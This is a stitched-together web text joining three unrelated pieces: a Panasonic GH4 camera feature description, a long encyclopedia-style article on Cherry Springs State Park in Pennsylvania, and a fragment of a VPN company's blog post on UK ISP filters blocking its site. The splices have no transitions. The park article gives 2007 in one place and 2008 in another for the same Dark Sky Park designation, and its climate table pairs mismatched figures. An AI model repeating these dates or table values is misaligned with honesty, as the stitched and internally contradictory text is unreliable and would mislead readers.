A slew of features for professional video production are available. SMPTE compliant Timecode in “Rec Run” or “Free Run” makes it easy to synchronize multiple videos or sound sources in post production. Color Bars (SMPTE/EBU/ARIB Standard) are used for fixing color or brightness to broadcast specifications and a 1kHz Test Tone can be used for setting appropriate audio levels. Synchro Scan helps suppress flicker over the TV or PC monitor, or when shooting under fluorescent lights, and a Center Marker works as a guide mark for image composition. “CINELIKE D” and “CINELIKE V” gamma settings create a cinema-like tone for expanded creativity, and use of the Master Pedestal allows for adjusting the brightness balance +/-15 steps based on the color black. A Zebra Pattern function displays overexposed areas before or during shooting with the pattern available for output to an external monitor. Focus Peaking displays accurate focus in MF and AF+MF modes. Users can monitor the focus peak in live view or via remote photo/ video shooting with a smartphone or a tablet using Wi-Fi.
And speaking of Wi-Fi, the GH4 integrates IEEE 802.11 b/g/n connectivity with Near Field Communication (NFC) technology to offer more operational options, as well as instant image sharing. With the company’s iOS and Android "Image App," remote shooting of both photo and video is possible using a smartphone or tablet as the remote shutter and monitor. In addition to releasing the shutter, control over zooming, focusing, and settings of shutter speed, aperture, and exposure compensation is available. It is also easy to embed geotags into the image after shooting. For the smartphone or tablet without NFC, the camera displays a dedicated QR code on its monitor for easy pairing.
In addition to the standard luminance level of 16-235 and 16-255, the camera offers the full luminance range of 0-255 for the photographer who is new to video. The Live View function is also advanced, making it possible to adjust highlight and shadow separately, using the front and rear dial. Three pattern settings can be customized in addition to the three preset patterns. Aside from the conventional Face Recognition Auto Focus (AF), newly incorporated Eye Detection AF automatically sets focus on the eye of a human face. Custom Multi AF mode allows users to freely select the blocks for focusing out of the total 49 points. 1-area AF area can be seamlessly magnified not only in manual but also in autofocus modes. Tracking AF has also been advanced in tracking accuracy by estimating the subject’s movement. The focus point can be set on any part of the 100% field of view and can be magnified either with a manual focus ring or with the cursor key in MF Assist mode. In the Touch Pad AF, the position can be set either on an absolute or relative coordinate.
The GH4 features newly developed high-precision, high-speed dual Organic Light-Emitting Diode (OLED) displays for the Live View Finder (LVF) and the rear monitor. Increasing the resolution of the display area to 2,359K dots, the 16:9 wide screen electronic viewfinder has approximately 1.34x/0.67x (35mm camera equivalent) magnification, 100% field of view, and an eye point of approximately 21mm. Notably, the OLED for the LVF boasts 10,000:1 high contrast for superior color reproduction. And with a newly designed large eyecup, the visibility of the LVF is dramatically improved. Image output is automatically switched between the LVF and the rear monitor with high, low, and off sensitivity options to reduce false switching. The 3.0-inch 1,036K-dot free-angle OLED rear monitor can be rotated 180° to the side and tilted 270° up and down and offers an approximately 100% field of view. It features static touch control for smooth operation, either while shooting or during playback. Both the LVF and rear monitor have a high-speed response with minimum time lag, while enhancing the resolution.
Three dials are available on the top and back of the camera and the main dial now comes with a lock. A dedicated button allows direct access to exposure compensation, white balance adjustment, or ISO setting, and a maximum of five settings can be assigned to the “Fn” button. All these external components are designed to be operated easily without taking one's eye away from the viewfinder. A variety of terminals provides flexible shooting options. A 3.5mm microphone jack is available for audio recording using an external microphone, and the 3.5mm headphone jack provides monitoring of the incoming audio while shooting video. In addition to these, the camera has AV outputs (two-channel audio, composite), a flash sync terminal, and 2.5mm jack for a remote controller. The built-in and an external flash can be synchronized with a maximum 1/250-second shutter speed.
While on the subject of connectivity, the company has developed the DMW-YAGH interface unit that places the camera squarely in a professional production environment. 3G-SDI video terminals that are compliant with full HD (4:2:2/10-bit) offer four parallel outputs that can also be used for 4K (4:2:2/10-bit) output, both with Timecode. Dual XLR input terminals can accept either line or microphone levels, with individually switchable 48V phantom power available for use with condenser microphones. Volume levels can be controlled separately for each channel, with the audio levels displayed via LED meters on the rear of the unit. The 12V DC input is compliant with large-capacity industrial batteries for continuously supplying the GH4 with power.
A total of twenty-two interchangeable LUMIX G digital lenses offers a multitude of creative options, including HD lenses that allow for silent, high performance AF control suitable for video recording. Various expansion options are available including an external flash, shotgun microphones, a battery grip, and more. Of course, as with all Micro Four Thirds cameras, almost the entire world of manual lenses is available for use on the GH4 with a suitable optional adapter. And last, but not least, for the global business of professional users, the system frequency can be selected between 59.94 (23.98), 50.00, or 24.00Hz.
The earliest recorded inhabitants of the area were the Susquehannocks, followed by the Seneca nation, who hunted there. The first settlement within the park was a log tavern built in 1818 along a trail; the trail became a turnpike by 1834 and a hotel replaced the tavern in 1874, then burned in 1897. In the late 19th and early 20th centuries the old-growth forests were clearcut; the state forest was established in 1901 and contains second growth woodlands. "Cherry Springs Scenic Drive" was established in 1922, and the Civilian Conservation Corps built much of Cherry Springs State Park during the Great Depression, including a picnic pavilion listed on the National Register of Historic Places (NRHP). An annual "Woodsmen's Show" has been held in the park each August since 1952.
Cherry Springs State Park was named Pennsylvania's first dark sky park by the DCNR in 2000. The adjoining Cherry Springs Airport, built in 1935, was closed and its land was added to the park in 2006, to expand its stargazing area. On June 11, 2007, the International Dark-Sky Association named it the second "International Dark Sky Park"; under optimum conditions the Milky Way casts a discernible shadow. Cherry Springs has received national press coverage and hosts two star parties a year, which attract hundreds of astronomers. There are regular stargazing and educational programs for the public at the park, and the Woodsmen's Show attracts thousands each summer. Cherry Springs also offers rustic camping, picnic facilities, and trails for mountain biking, hiking, and snowmobiling. The surrounding state forest and park are home to a variety of flora and fauna.
History [ edit ]
Native Americans [ edit ]
Archeological evidence shows that humans have lived in what is now Pennsylvania since at least 10,000 BC. The first settlers were Paleo-Indian nomadic hunters known from their stone tools.[5][6] The hunter-gatherers of the Archaic period, which lasted locally from 7000 to 1000 BC, used a greater variety of more sophisticated stone artifacts. The Woodland period marked the gradual transition to semi-permanent villages and horticulture, between 1000 BC and 1500 AD. Archeological evidence found in the state from this time includes a range of pottery types and styles, burial mounds, pipes, bows and arrows, and ornaments.[5]
Map of the park and its facilities
Historical records show that the earliest known inhabitants of the West Branch Susquehanna River drainage basin, which includes Cherry Springs State Park, were the Iroquoian-speaking Susquehannocks. They were a matriarchal society that lived in large long houses in stockaded villages. Decimated by disease and warfare with the Five Nations of the Iroquois, by 1675 they had died out, moved away, or been assimilated into other tribes.[6][7] Another name for the tribe is "Susquehanna", and both the river and the Susquehannock State Forest which almost completely surrounds the park are named for them.[8][9]
After the departure of the Susquehannocks, the lands of the West Branch Susquehanna River valley were under the nominal control of the Iroquois, who lived in long houses, primarily in what is now upstate New York, and had a strong confederacy which gave them power beyond their numbers.[6] The Seneca, members of the Iroquois Confederacy, hunted in the area of what is now Cherry Springs State Park. Their nearest villages were 51 miles (82 km) to the northeast at modern Painted Post, New York, and 43 miles (69 km) to the southeast at what is now Lock Haven, Pennsylvania. The Seneca had temporary hunting camps to the east in the area of Pine Creek Gorge.[10][11] To fill the void left by the demise of the Susquehannocks, the Iroquois also encouraged displaced tribes from the east to settle in the West Branch watershed, including the Lenape (or Delaware) and Shawnee.[6]
The Seneca allowed very few travelers to pass through the area and kept non-native settlement to a minimum.[10] The French and Indian War (1754–1763) led to the migration of many Native Americans westward to the Ohio River basin, and more departed after the American Revolutionary War (1775–1783).[6] The United States acquired the Last Purchase, including what is now Cherry Springs State Park, from the Iroquois in the second Treaty of Fort Stanwix in October 1784.[7] In the years that followed, Native Americans almost entirely left Pennsylvania.[6]
Pioneers and lumber [ edit ]
Potter County was formed from part of Lycoming County on March 26, 1804,[12] but the difficult terrain and thick old-growth forest prevented the new county from being settled by European-Americans until 1808.[10] Prior to the arrival of William Penn and his Quaker colonists in 1682, up to 90 percent of what is now Pennsylvania was covered with woods: more than 31,000 square miles (80,000 km2) of eastern white pine, eastern hemlock, and a mix of hardwoods.[13] The forests in and near the three original counties, Philadelphia, Bucks, and Chester, were the first to be harvested, as the early settlers used the readily available timber and cleared land for agriculture. By the time of the American Revolution, logging had reached the interior and mountainous regions,[13][14] and became a leading industry in Pennsylvania.[13] Trees furnished fuel to heat homes, tannin for the state's many tanneries, and wood for construction, furniture, and barrel making. Large areas of forest were harvested by colliers to fire iron furnaces. Rifle stocks and shingles were made from Pennsylvania timber, as were a wide variety of household utensils, and the first Conestoga wagons.[13]
The CCC built this replica of the Cherry Springs Hotel, the tavern built by Jonathan Edgcomb in 1818.
The area surrounding Cherry Springs State Park has been a wilderness for much of its history. A bridle path was cut through the woods in 1806–1807, and was widened to accommodate wagons in 1812. (Modern Pennsylvania Route 44, which passes through the park, follows the course of this path between Jersey Shore and Coudersport.) In 1818 the Ceres Land Company, which owned much of the land in Potter County and sought to open the area to settlement, hired an early settler, Jonathan Edgcomb, to build a tavern or hotel for travelers at the site of the park. The hotel was in a very remote location 16 miles (26 km) south of Coudersport, and its visitors were few, occasional wandering travelers or Native Americans.[2][10]
Edgcomb and his wife received 100 acres (40 ha) of land in exchange for building the hotel and running it for three years. When the contract expired in 1821, they sold their land and left the area, but the hotel and land that Edgcomb had cleared became known as "Edgcomb's Clearing". The Jersey Shore and Coudersport Turnpike was constructed along the wagon path between 1825 and 1834, and tolls were collected for travel on the road until 1860.[10] The park is in West Branch Township, which was incorporated from Eulalia Township in 1856.[12] A post office was opened at Edgcomb's Clearing in 1873; the locals petitioned the United States Post Office to change the name to "Cherryville", for a nearby group of Black Cherry trees. However, since there was already a Cherryville, Pennsylvania, post office in Lehigh Township in Northampton County, the name "Cherry Spring" was chosen as a compromise. In time an "s" was added, hence the name "Cherry Springs".[10] There are also at least two springs in the park.[15]
In 1874 a new, larger hotel was built on the other side of the road from the original tavern.[10] It provided accommodations for wealthy summer visitors from Coudersport. This part of Potter County became known for an abundance of game and fish, and attracted hunters and anglers who also stayed at the Cherry Springs Hotel. This era as a "sportsmen's paradise" was not to last, as the more profitable lumber industry came to West Branch and surrounding townships, which were home to "some of the tallest, straightest timber left standing" along the East Coast of the United States.[10]
When lumbermen reached the Cherry Springs area in the late 1880s, eastern white pine and eastern hemlock covered the surrounding mountains. Lumberjacks harvested the trees and sent them down the creeks to the West Branch Susquehanna River to the Susquehanna Boom and sawmills at Williamsport. Clearcutting allowed silt to choke the streams, and nothing was left except the dried-out tree tops, which became a fire hazard. As a result, large swaths of land burned and were left barren,[2][10] and much of the central part of the state became known as the "Pennsylvania Desert".[16] The Cherry Springs Hotel itself burned in 1897 and the property was abandoned.[10]
Civilian Conservation Corps [ edit ]
As the timber was exhausted and the land burned, many companies simply abandoned their holdings.[16] In 1897 the Pennsylvania General Assembly passed legislation which authorized the purchase of "unseated lands for forest reservations" and the first Pennsylvania state forest lands were acquired the following year.[18] The first land for the Susquehannock State Forest was acquired in 1901; the cost for the major acquisitions was an average of $2.50 per acre ($6.18 per ha). This is roughly equivalent to $51 per acre ($127 per ha) in 2019 terms.[19] As of 2003, the Susquehannock State Forest, which almost entirely surrounds the park, covered 265,000 acres (107,000 ha), chiefly in Potter County with small tracts in Clinton and McKean counties.[20]
Highway side. "The largest and most unique of the CCC-built picnic pavilions" in Pennsylvania was constructed in 1939.Highway side. Astronomy Field side.
The park traces its existence back to 1922, when the Pennsylvania Department of Forestry established three scenic areas in state forests as part of a "plan for retaining their natural beauty".[22] One of these was the 6.5-mile (10.5 km) "Cherry Springs Scenic Drive" on the old Coudersport-Jersey Shore Turnpike. That same year, one of 16 "Class B" public campgrounds in the state forests was located on Cherry Springs Drive.[b] These campgrounds were free for the public to use and all had potable water, picnic tables, a fireplace, garbage can, and a latrine.[22] The land where the hotel sat was purchased by the state in 1932.[10]
Like many state parks in north central Pennsylvania, development of the facilities at Cherry Springs was the work of the Civilian Conservation Corps (CCC), a work relief program for young men from unemployed families. Established in 1933 as part of President Franklin D. Roosevelt's New Deal legislation, the CCC was designed to combat unemployment during the Great Depression. It operated in every U.S. state,[23] and established ten CCC camps in the Susquehannock State Forest,[2] of which eight were in Potter County.[24]
Cherry Springs was home to CCC Camp S-136-Pa, which was established on May 27, 1933.[25] According to the camp's 1936 History: "Through the efforts of the [CCC] enrollees Cherry Springs Park, formerly a clearing, has been transformed into a park of which the people of Potter County can be proud of."[sic][26] A historic recreation of the original tavern was built, as were a rifle range, picnic tables and shelters, roads, and hiking trails. The young men of the CCC camps worked to clear brush from the woods as a fire prevention measure. After clearing the woods, they planted stands of Norway Spruce and white pine, as well as an apple orchard.[2][10] Camp-136-Pa closed on July 10, 1937.[25]
The other CCC-built picnic pavilion has a hexagonal roof and is in the camping area.
Men from CCC Camp S-88-Pa, based at nearby Lyman Run in Potter County,[27] were also active in the park. In 1939, they built a structure at Cherry Springs which is "the largest and most unique of the CCC-built picnic pavilions" in the state, and is listed on the National Register of Historic Places.[21] The pavilion overlooks PA Route 44 and is shaped like an H, with two partially enclosed structures (the vertical lines of the H) connected by a breezeway (the horizontal bar). The breezeway is a roof supported by eight log columns with log railings. The ends of the pavilion are built from log walls with white chinking, like log cabins. Each end has a large opening to the breezeway in one wall, while the other three sides are fully enclosed with a large window in the wall facing the highway, a stone fireplace and chimney on the opposite wall, and a door flanked by windows on the wall opposite the breezeway.[3][21][28]
A 1984 survey of Pennsylvania state parks found the "three picnic pavilions, and their associated latrines" at Cherry Springs "typical of the smallest day use areas constructed by the CCC".[21] These pavilions are examples of the rustic style built by the CCC in state parks throughout the Great Depression. Local materials were used in a way that minimized impact on the natural surroundings, and in a manner that resembled the building style of the pioneer settlements of the Appalachian Mountains.[28]
In addition to the two CCC camps active at the park, Cherry Springs also was home to Camp Elliott, which was run by the Pennsylvania Department of Forests and Waters (precursor to the Department of Conservation and Natural Resources (DCNR)) for college students and other unemployed men. In 1935 they built an airfield, Cherry Springs Intermediate Field, just north of the park. The 40-acre (16 ha) airfield was originally built for emergency landings and later became a small airport.[2][10] In 1936 it had a sod runway of dimensions 2,400 by 500 feet (730 by 150 m), and a hangar.[29] The United States' entry into the Second World War led to the end of the CCC and all its camps were closed by the summer of 1942.[23]
Modern era [ edit ]
The park has had several names through the years, starting with its 1922 establishment as "Cherry Springs Scenic Drive" and the associated "Cherry Springs 'Class B' public campground".[22] The 1941 Pennsylvania Department of Highways official map of Potter County shows it as "Cherry Springs State Park".[30] On November 11, 1954, the Pennsylvania Geographic Board officially named it "Cherry Springs State Forest Picnic Area". Forrey's 1984 History of Pennsylvania's State Parks and the 1986 NRHP nomination form still used this name, but Forrey clarified that it was "under the jurisdiction of the Bureau of State Parks".[22][28] Cupper's 1993 Our Priceless Heritage: Pennsylvania's State Parks 1893–1993 refers to it as "Cherry Springs State Park",[31] and this remains the official name as of 2009.[2]
Up to 10,000 stars, such as these in the constellation Cygnus , can be seen from the park.
In the post-war era, the park was long known chiefly for its isolated location and primitive camping facilities. In August 1952 it played host to the first Woodsmen's Carnival, an annual celebration of the lumbering industry, which was again active in the second growth forests in the area. The festival, originally sponsored by the Penn-York Lumbermen's Club, features lumberjack competitions as a reminder of the past, as well as displays of new equipment.[10] In 1987 the Galeton Rotary Club took over sponsorship,[32] and renamed the event the Woodsmen's Show in 1990.[10][33]
In the 1980s, the CCC and its work in the park were honored. Cherry Springs State Park was one of several to celebrate the fiftieth anniversary of the founding of the Civilian Conservation Corps with a CCC reunion in the summer of 1983.[31] On May 11, 1987, the Cherry Springs Picnic Pavilion was listed on the NRHP.[28] None of the other remaining CCC structures in the park had retained its historic integrity sufficiently to be included on the NRHP.[21]
Cherry Springs began attracting stargazers in the early 1990s.[10] In 1999 the "Dark Sky Fund" was established and continues "to enhance the stargazing and astronomy experience" by funding improvements at the park.[34] In 2000 Cherry Springs was officially named a "Dark Sky Park" by the DCNR,[34] and that same year it became part of the Hills Creek State Park complex, an administrative grouping of eight state parks in Potter and Tioga counties. The headquarters for Cherry Springs are at nearby Lyman Run State Park.[2][35] The National Public Observatory picked it "as the pilot for the Stars-n-Parks program" in April 2001.[10] The DCNR acquired the Cherry Springs Airport in 2006 "to expand the overall Dark Sky observation area and allow for increased programming opportunities" at the park,[36] and closed it in 2007.[37] On June 11, 2008, the International Dark-Sky Association named Cherry Springs State Park the second "International Dark Sky Park". (The first was Natural Bridges National Monument in Utah.)[38] In 2018, the section of Pennsylvania Route 44 passing through the park was named Highway to the Stars, following an effort led by photographer Curt Weinhold, a Potter County resident, and legislation sponsored by State Representative Martin Causer and approved by Governor Tom Wolf.[39]
Geology and climate [ edit ]
1938 aerial view of the park, airport , PA 44, West Branch Pine Creek, and Hopper House Run
Cherry Springs State Park is at an elevation of 2,300 feet (701 m) above sea level,[1] atop the Allegheny Plateau and "near the glaciated boundary".[10] The plateau and the Appalachian Mountains were all formed in the Alleghenian orogeny some 300 million years ago, when Gondwana (specifically what became Africa) and what became North America collided, forming Pangaea. Although the region appears mountainous, these are not true mountains: instead millions of years of erosion have made this a dissected plateau, causing the "mountainous" terrain seen today. The hardest of the ancient rocks are on top of the ridges, while the softer rocks eroded away forming the valleys.[40][41]
The park is in the West Branch Pine Creek drainage basin, where the underlying rocks are primarily conglomerate, sandstone, and shale.[42] Two major rock formations are present in Cherry Springs State Park, both at least partly from the Carboniferous period. The youngest of these, which forms the highest points in the park, is the early Pennsylvanian Pottsville Formation, a gray conglomerate that may contain sandstone, siltstone, and shale, as well as anthracite coal. The lower formation is the late Devonian and early Mississippian Huntley Mountain Formation, which is made of relatively soft grayish-red shale and olive-gray sandstone. Outside the park the creek has cut down into the Devonian Catskill Formation, a reddish sandstone.[40][41][43][44]
The Allegheny Plateau has a continental climate, with occasional severe low temperatures in winter and average daily temperature ranges of 20 °F (11 °C) in winter and 26 °F (14 °C) in summer.[45] The mean annual precipitation for the West Branch Pine Creek watershed is 40 to 42 inches (1,016 to 1,067 mm).[42] January is the coldest month at Cherry Springs, July the warmest, and June the wettest. The highest recorded temperature at the park was 94 °F (34 °C) in 1966, and the record low was −28 °F (−33 °C) in 1963.[46]
Climate data for Cherry Springs State Park Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Average high °F (°C) 29
(13) Average low °F (°C) 13
(2) Average precipitation inches (mm) 2.47
(1,066) Source: The Weather Channel[46]
Ecology [ edit ]
Cherry Springs State Park and the surrounding Susquehannock State Forest have recovered from the clearcutting of the lumber era. However, the composition of the forests has changed, so that there are now more hardwoods, including sugar maple and black cherry, and fewer eastern white pine and eastern hemlock. The park also has apple trees from the CCC orchard.[10] Over 400 species of birds have been found in Pennsylvania, including 186 that breed in the state.[47] Birds such as ospreys, hawks, owls, nightjars, and bald eagles have returned to the park and state forest,[3][20] and saw-whet owls have been studied in the park.[48]
Some animals which had been locally extinct have also returned or been reintroduced to the area, including white-tailed deer, elk, fishers (a type of weasel), and otters.[2][10] Although banned in the park, hunting is allowed in the surrounding state forest, which regained its title as a "sportsmen's paradise" in the 20th century.[10] Game species include black bears, white-tailed deer, ducks, ruffed grouse, rabbits, gray and red squirrels, and wild turkeys. Other animals present in the park and forest include chipmunks, minks, raccoons, porcupines, groundhogs, and the occasional bobcat, as well as frogs, beetles, and moths.[3][20][49]
A branch of Hopper House Run rises within the park, and flows east and then north into the West Branch Pine Creek. West Branch Road (or Branch Road) follows the valleys of the run and creek from Pennsylvania Route 44 east 10 miles (16 km) to Galeton. PA 44 roughly follows the line dividing the Pine Creek watershed to the north and the Sinnemahoning Creek watershed to the south. East Fork Road leaves PA 44 in the park and follows the East Fork Sinnemahoning Creek valley southwest 12 miles (19 km) to the village of Conrad.[15][50] Both creeks are approved trout streams for fishing, which means they are stocked with trout in season.[51]
Recreation [ edit ]
Dark skies [ edit ]
The Trifid Nebula (M20) in Sagittarius, as seen from the park
Astronomers and stargazers appreciate Cherry Springs State Park for the darkness and clarity of its skies, which make it "perhaps the last best refuge of the natural night sky" in the eastern half of the United States.[38] The sky at Cherry Springs has been classified as a 2 on the Bortle Dark-Sky Scale, meaning it has almost no light pollution.[52] Such "truly dark, starry skies are unavailable to two-thirds of the world's population, including 99 percent of people in the continental U.S. and Western Europe".[3] With optimum conditions, 10,000 stars are visible with the naked eye at the park, clouds appear only as black holes in the starry sky, and the Milky Way is so bright that it casts a discernible shadow.[52] In contrast, big city residents can see a few dozen stars at best, and even those in rural areas can typically only see 2,000–3,000 stars. The Milky Way cannot be seen by most in the eastern US, even when there is no moonlight to obscure it.[3][10]
The quality of the night skies at the park and its growing popularity for stargazing are the result of several factors. Cherry Springs is in the midst of the largely undeveloped 262,000-acre (106,000 ha) Susquehannock State Forest, and is on a summit 2,300 feet (701 m) above sea level. Because it is on the Allegheny Plateau, there are no mountain peaks to block the sky, and the Astronomy Field offers a 360 degree unobstructed view. The closest city is Williamsport, 60 miles (97 km) to the southeast. Surrounding communities sit in deep valleys, so the intervening terrain screens much of the light they produce; the park has no artificial skyglow in any direction. Cherry Springs is generally fog-free and its latitude puts it in excellent position to observe the Galactic Center of the Milky Way. The remote location also means there is little commercial air traffic to interfere with astrophotography, while PA Route 44 still offers relatively easy access to the park from Interstate 80.[10][34][53]
In addition to these natural factors, much has been done intentionally to make the skies at the park clear and dark and help keep them that way. Within the park, former overhead electrical lines have been buried so they do not obstruct views, all lighting is shielded, and all white lights have been converted to red, which has the least effect on night vision and astrophotography. Light from passing vehicles is blocked by earthen berms covered with grass, or shrubbery and spruce trees; the Astronomy Field gate has a special light-blocking tarp. The park's Dark Sky Fund has paid for many of these improvements since 1999.[10][34][54]
[53] Two of the park's three astronomy domes; the walls prevent the wind from moving telescopes during observation
Since the 2006 acquisition of the Cherry Springs airport, a new Public Programming field has been established on the former airstrip. This field is northeast of PA Route 44 and is intended for educational programs or stargazing, but not for those who spend the night. Overnight observers and those with large telescopes use the Astronomy Field southwest of the highway. Nighttime visitors may only use flashlights with red filters, and may only point them at the ground. The Astronomy Field has further restrictions on lights, and parts of the park are light-free zones.[34][54][55]
To help preserve the dark skies at Cherry Springs State Park, Tri-County Rural Electric company installs light-shielding caps on outdoor lights at local homes for free.[10] In 2001 the Pennsylvania General Assembly passed the "Outdoor Lighting Control Act", which both established the park as a "Dark Sky Preserve" and required minimal and shielded lighting at all new state facilities to reduce light pollution.[56] A design guide for the Pennsylvania Wilds region, which includes the park, emphasizes the importance of maintaining dark skies.[57] The DCNR spent $396,000 in June 2007 to buy mineral rights under 1,980 acres (800 ha) of the park and state forest to prevent natural gas drilling and associated development there.[58]
A wind farm has been proposed on a site 13.7 miles (22.0 km) from the park. In 2008 Potter County passed an ordinance that wind turbine lights shall not "interfere with the state-designated Dark Skies Preserve at Cherry Springs State Park".[59] That same year the DCNR commissioned a study on the wind farm's impact, which concluded the red warning lights on the wind turbines would not impact the darkness of the sky and would only be directly visible from the Astronomy Field under rare conditions.[52] Others in the astronomy community challenged these conclusions and feared that new lights on "several dozen wind turbines near the park" will degrade observations and astrophotography.[55] The study also recommended that the DCNR shield and redirect lights at the nearby Denton Hill State Park downhill ski area to make the sky even darker at Cherry Springs.[52][60]
Astronomical observing [ edit ]
Telescopes belonging to amateur astronomers await nightfall.
The staff at Cherry Springs State Park did not intend for it to become an attraction for amateur astronomers; the astronomers came to them instead. In 1997 or 1998 Chip Harrison, the park supervisor, noticed a man looking through a telescope at the park at about 1 AM.[53][61] When Harrison asked why the man had come there, the astronomer said he had noticed an isolated black patch over north central Pennsylvania on nighttime satellite photos. Cherry Springs State Park is in that patch, one of the best locations east of the Mississippi River for stargazing.[53]
An increasing number of astronomers began to come to Cherry Springs, most in the 14-day dark sky period around the new moon, between the last quarter and first quarter phases. The park is open year-round and between 60 and 85 nights each year have ideal conditions,[53] when the apparent magnitudes of the faintest stars visible can range from 7.1 to 7.5.[52] The park's Astronomy Field has been upgraded to accommodate these astronomers. In 2005 a rotating 15-foot (4.6 m) slotted observatory dome, two 12-foot (3.7 m) clamshell domes, and a 10-by-12-foot (3.0 by 3.7 m) sky shed were added, as well as a small amphitheater for programs. The four structures protect telescopes from the wind and thermal currents. The next year concrete pads 4 and 6 feet (1.2 and 1.8 m) in diameter were placed at random in the field, and electrical pedestals, each with six outlets, were added to power telescopes and computers.[34][36] In 2009, Wi-Fi internet access was added to the Astronomy Field.[62]
While a typical clear night might have 50 to 100 observers,[10][61] each year the park hosts two major star parties which both attract several hundred astronomers for several nights.[3] The Black Forest Star Party, sponsored by the Central Pennsylvania Observers of State College, has been held each fall since 1999.[63] The Cherry Springs Star Party, sponsored by the Astronomical Society of Harrisburg, has been held each June since 2005.[3][64] There are also free public programs at the amphitheater on the former airport site, some of which are part of the National Public Observatory's Stars-n-Parks program.[2] Meteor showers will also attract a crowd and the Aurora Borealis can be seen from the park.[10][36] A stargazing business, "Crystal Spheres", has been established and presents Music and Stars programs, with an hour-long concert followed by an hour of stargazing.[53][54][65] Such "nature tourism" has a positive economic impact for the area.[66]
Awards and press recognition have come to Cherry Springs and its staff. Thom Bemus, who initiated and coordinates the Stars-n-Parks program, was named DCNR's 2002 Volunteer of the Year.[66] In 2007 the park's Dark Sky Programming and staff received the Environmental Education Excellence in Programming award from the Pennsylvania Recreation and Parks Society.[67] Operations manager Chip Harrison and his wife Maxine, who directs the Dark Sky Fund, received a 2008 award from the Pennsylvania Outdoor Lighting Council for "steadfast adherence and active promotion of the principles of responsible outdoor lighting at Cherry Springs State Park".[68] The DCNR has named Cherry Springs one of "25 Must-See Pennsylvania State Parks", specifically for having the "darkest night skies on the east coast".[69] Cherry Springs State Park was featured in the national press in 2003 when USA Today named it one of "10 Great Places to get some stars in your eyes",[70] in 2006 when National Geographic Adventure featured it in "Pennsylvania: The Wild, Wild East",[71] and in The New York Times in 2007.[53] All these were before it was named an International Dark Sky Park by the International Dark-Sky Association in 2008.[38]
Woodsmen's Show [ edit ]
A chainsaw event at the Woodsmen's Show
The Woodsmen's Show attracts thousands of visitors to Cherry Springs State Park on the first weekend in August. It has been held every year since 1952, and has been sponsored by the Galeton Rotary Club since 1987. In 2008 events at the three-day show included tree-felling, cross-cutting, log rolling, axe-throwing, horse pulling, spring board chopping, the standing block chop, and chainsaw competitions and demonstrations. The 2008 show also featured historic recreations of life in a logging camp, musical performances, and vendors selling food, crafts, and equipment related to the lumber industry.[2][72][73]
The show and its events, which celebrate Potter County's lumbering history, have changed with time. In the early years, up to three working sawmills were set up just for the carnival,[31][74] and there was an associated Woodsmen's Ball on Saturday evening, after the carnival ended.[10] The Woodsmen's Show had its first female competitor in 1979.[75] Some events have been tried and discontinued; in 1987 one-hour seminars on topics such as "Outdoor Adventures on Mules" and the first "Woodsmen's Carnival Queen" were introduced,[76] and in 1993 there was tractor pulling with lawn tractors.[77] In 1990 the name was changed from the "Woodsmen's Carnival" to the "Woodsmen's Show", a third day was added, and an ecumenical church service was held Sunday morning in the large picnic pavilion.[33] The next year the show was part of the STIHL Timbersports Series and some of the competition was televised on ESPN.[78] Although it is no longer part of the STIHL series, as of 2008 many of the same athletes competed at the show.[73]
Attendance was 4,000 the first year and grew to 12,000 three years later in 1955,[2][79] then peaked at 33,000 in 1962, with nearly as many in 1965 (32,000) and 1981 (30,000).[80][81][82] In 1983, 20,000 visitors came to the show,[83] 15,000 came in 1985,[84] and by the early 21st century attendance was about 14,000.[10] Admission is charged and cash prizes are awarded in the competitions.[73] Proceeds from the show under the Penn-York Lumbermen's Club went to promote the lumber industry and support the Pennsylvania Lumber Museum.[83] The Galeton Rotary Club has used the funds to improve the standard of living in and around Galeton, including college scholarships, a new roof for the community building, support for the local public library, and clean-up and maintenance of the downtown area.[85]
Camping, picnicking, and trails [ edit ]
The camping area at the park, with picnic tables
The park has 30 camping sites which can each accommodate a tent, or a recreational vehicle (RV) up to 30 feet (9.1 m) long. The sites all have a fire ring, lantern hanger, and picnic table, and are classified as rustic because they have no running water. The camping area, which is southeast of Pennsylvania Route 44, is open from April to December and does accept reservations. The park has two modern latrines, one in the camping area and the other at the Astronomy Field. There is also a holding tank dump station for RVs.[2][15][49][86] Although the Astronomy Field is not an official camping area, overnight observers may set up tents and vehicles there in which to camp.[34] In addition to the picnic tables and small pavilion in the camping area, the main picnic area at Cherry Springs is on the southwest side of Route 44, in and around the large historic, CCC-built pavilion. The area surrounding the pavilion has many picnic tables situated in an old apple orchard and a stand of huge white pine and Norway spruce trees.[2]
Cherry Springs State Park is at the southern end of a 15-mile (24 km) long, single-track mountain bike trail, which begins at Denton Hill State Park and passes through Patterson State Park.[87] In 2005 the snowmobile trailhead at Cherry Springs was moved to the southern end of the park to avoid the Astronomy Field.[88] The snowmobile trail is one of many trails available for cross-country skiing, backpacking, hiking, and all-terrain vehicle and horseback riding in the surrounding Susquehannock State Forest. The 85-mile (137 km) long Susquehannock Trail System passes close to the park and loops around it. South of the park the trail passes through the Hammersley Wild Area, which at 30,253 acres (12,243 ha) without roads is the second largest wild area in Pennsylvania.[2][9][89]
Nearby state parks [ edit ]
Cherry Springs State Park is on Pennsylvania Route 44 in West Branch Township, 10 miles (16 km) southwest of Galeton.[11][90] The following state parks are within 30 miles (48 km) of Cherry Springs State Park:[50]
Panoramic view of the park, left to right: astronomy bulletin board, CCC-built picnic pavilion, pumphouse, Astronomy Field, sky shed and three astronomy observation domes, information display, modern latrines, amphitheater, and CCC-built replica of the Cherry Springs Tavern (log cabin across Pennsylvania Route 44
Open Rights Group, a London-based organization, created a tool at blocked.org.uk that allows you to check whether or not a website is being blocked by UK ISPs. This crucial tool has revealed that most UK ISPs block Private Internet Access by default if the content filter is on.
Note: Sky and TalkTalk ship with “default on” filters while BT and Virgin Media still don’t. This article originally mentioned AAISP as an ISP that blocked the https version of privateinternetaccess.com because test results on that day showed an error/lack of connection, AAISP has since clarified that they do not have any default blocks.
The UK has millions of internet users, the majority of which can’t access the PIA homepage
According to the Office of National Statistics, the percentage of the population in the United Kingdom (UK) that has used the internet in the last 3 months is a whopping 89%. Internet penetration in the UK surpasses that of neighboring European countries and even the United States.
Many of the United Kingdom’s internet users, close to 60 million total, are unable to access the Private Internet Access homepage, even if they can read this article on our blog. According to Blocked.org.uk, users of O2, Sky, Virgin, and Three with adult filters on will be unable to access this site (https://www.privateinternetaccess.com) while users of Vodafone and EE will also be unable to access this site (http://www.privateinternetaccess.com). You can see the full results of the tests here and here.
